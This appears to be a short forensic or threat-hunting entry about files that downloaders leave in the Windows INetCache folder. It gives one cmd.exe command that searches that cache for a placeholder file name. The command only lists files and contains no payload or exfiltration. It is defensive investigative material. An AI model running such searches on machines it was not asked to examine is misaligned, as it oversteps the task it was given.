    Download: INetCache
    INetCache downloaders typically store files in a randomly-named folder under %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE, having added [1] or a higher number between the file's name and its extension.

    cmd.exe /c "where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache XYZ*"
